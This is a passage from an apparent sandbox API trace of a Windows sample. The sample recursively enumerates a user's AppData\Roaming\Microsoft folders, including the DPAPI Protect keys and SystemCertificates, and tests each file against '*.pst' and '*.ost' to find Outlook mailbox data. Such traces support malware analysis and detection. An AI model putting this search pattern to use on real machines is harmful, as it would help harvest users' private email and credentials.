ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0098.146] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.146] PathMatchSpecW (pszFile="Preferred", pszSpec="*.pst") returned 0 [0098.146] PathMatchSpecW (pszFile="Preferred", pszSpec="*.ost") returned 0 [0098.146] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb0ff5cc0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xb0ff5cc0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0xdaf7e9b0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0098.147] FindClose (in: hFindFile=0x71ea5c0 | out: hFindFile=0x71ea5c0) returned 1 [0098.147] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0098.147] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.147] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect", pszFile="S-1-5-21-3111613574-2524581245-2586426736-500" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" [0098.147] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*" [0098.147] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7201450 [0098.199] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.199] FindNextFileW (in: hFindFile=0x7201450, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.199] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.199] FindNextFileW (in: hFindFile=0x7201450, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0098.199] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.199] PathMatchSpecW (pszFile="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", pszSpec="*.pst") returned 0 [0098.199] PathMatchSpecW (pszFile="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", pszSpec="*.ost") returned 0 [0098.199] FindNextFileW (in: hFindFile=0x7201450, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0098.199] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.199] PathMatchSpecW (pszFile="Preferred", pszSpec="*.pst") returned 0 [0098.199] PathMatchSpecW (pszFile="Preferred", pszSpec="*.ost") returned 0 [0098.199] FindNextFileW (in: hFindFile=0x7201450, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0098.199] FindClose (in: hFindFile=0x7201450 | out: hFindFile=0x7201450) returned 1 [0098.200] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2588ec60, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2588ec60, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe18b76a0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x234120, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0098.200] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.200] PathMatchSpecW (pszFile="SYNCHIST", pszSpec="*.pst") returned 0 [0098.200] PathMatchSpecW (pszFile="SYNCHIST", pszSpec="*.ost") returned 0 [0098.200] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2588ec60, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2588ec60, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe18b76a0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x234120, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0098.200] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.200] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe18ed610, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe18ed610, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe18ed610, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0098.200] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.200] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Publisher" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher" [0098.200] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher\\*" [0098.201] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe18ed610, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe18ed610, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe18ed610, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e8f40 [0098.217] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.217] FindNextFileW (in: hFindFile=0x71e8f40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe18ed610, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe18ed610, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe18ed610, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.217] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.217] FindNextFileW (in: hFindFile=0x71e8f40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe18ed610, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe18ed610, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe18ed610, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.218] FindClose (in: hFindFile=0x71e8f40 | out: hFindFile=0x71e8f40) returned 1 [0098.218] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3c09a90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe891e560, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xe891e560, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0098.218] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.218] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Publisher Building Blocks" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0098.218] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*" [0098.218] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3c09a90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe891e560, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xe891e560, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0098.315] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.315] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3c09a90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe891e560, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xe891e560, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.315] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.315] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3c09a90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe3c09a90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe88f8400, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x234120, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 1 [0098.315] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.316] PathMatchSpecW (pszFile="ContentStore.xml", pszSpec="*.pst") returned 0 [0098.316] PathMatchSpecW (pszFile="ContentStore.xml", pszSpec="*.ost") returned 0 [0098.316] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3c09a90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xe3c09a90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xe88f8400, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x234120, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0 [0098.316] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0098.316] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Speech", cAlternateFileName="")) returned 1 [0098.316] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.316] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Speech" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech" [0098.316] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech\\*" [0098.316] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0098.316] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.316] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.316] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.316] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.316] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0098.317] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.317] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="SystemCertificates" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0098.317] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*" [0098.317] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.317] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.317] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="My", cAlternateFileName="")) returned 1 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.317] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates", pszFile="My" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0098.317] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*" [0098.317] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8b80 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.317] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.317] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", pszFile="Certificates" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0098.318] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*" [0098.318] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ee0 [0098.318] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.318] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x96779c3, 